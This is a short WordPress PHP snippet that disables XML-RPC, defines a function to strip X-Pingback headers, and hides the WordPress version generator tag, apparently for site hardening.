add_filter('pre_update_option_enable_xmlrpc', '__return_false');
add_filter('pre_option_enable_xmlrpc', '__return_zero');
function wptangtoc_remove_x_pingback($headers) {
unset($headers['X-Pingback'], $headers['x-pingback']);
return $headers;
}



function wp_version_remove_version() 
{
return '';
}
add_filter('the_generator', 'wp_version_remove_version');